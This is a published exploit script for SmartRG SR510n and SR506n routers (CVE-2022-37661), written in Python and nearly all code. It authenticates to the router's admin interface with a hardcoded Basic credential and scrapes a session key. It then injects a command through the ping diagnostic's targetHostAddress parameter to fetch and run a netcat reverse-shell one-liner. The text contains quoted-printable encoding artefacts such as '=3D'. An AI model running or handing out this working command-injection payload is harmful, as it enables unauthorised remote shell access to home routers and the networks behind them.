SmartRG Router SR510n 2.6.13 – Remote Code Execution
# Exploit Title: SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution) # Date: 13/06/2022 # Exploit Author: Yerodin Richards # Vendor Homepage: https://adtran.com # Version: 2.5.15 / 2.6.13 (confirmed) # Tested on: SR506n (2.5.15) & SR510n (2.6.13) # CVE : CVE-2022-37661 import requests from subprocess import Popen, PIPE router_host =3D "http://192.168.1.1" authorization_header =3D "YWRtaW46QWRtMW5ATDFtMyM=3D" lhost =3D "lo" lport =3D 80 payload_port =3D 81 def main(): e_proc =3D Popen(["echo", f"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm= p/s | nc {lhost} {lport} > /tmp/s"], stdout=3DPIPE) Popen(["nc", "-nlvp", f"{payload_port}"], stdin=3De_proc.stdout) send_payload(f"|nc {lhost} {payload_port}|sh") print("done.. check shell") def get_session(): url =3D router_host + "/admin/ping.html" headers =3D {"Authorization": "Basic {}".format(authorization_header)} r =3D requests.get(url, headers=3Dheaders).text i =3D r.find("&sessionKey=3D") + len("&sessionKey=3D") s =3D "" while r[i] !=3D "'": s =3D s + r[i] i =3D i + 1 return s def send_payload(payload): print(payload) url =3D router_host + "/admin/pingHost.cmd" headers =3D {"Authorization": "Basic {}".format(authorization_header)} params =3D {"action": "add", "targetHostAddress": payload, "sessionKey"= : get_session()} requests.get(url, headers=3Dheaders, params=3Dparams).text main() |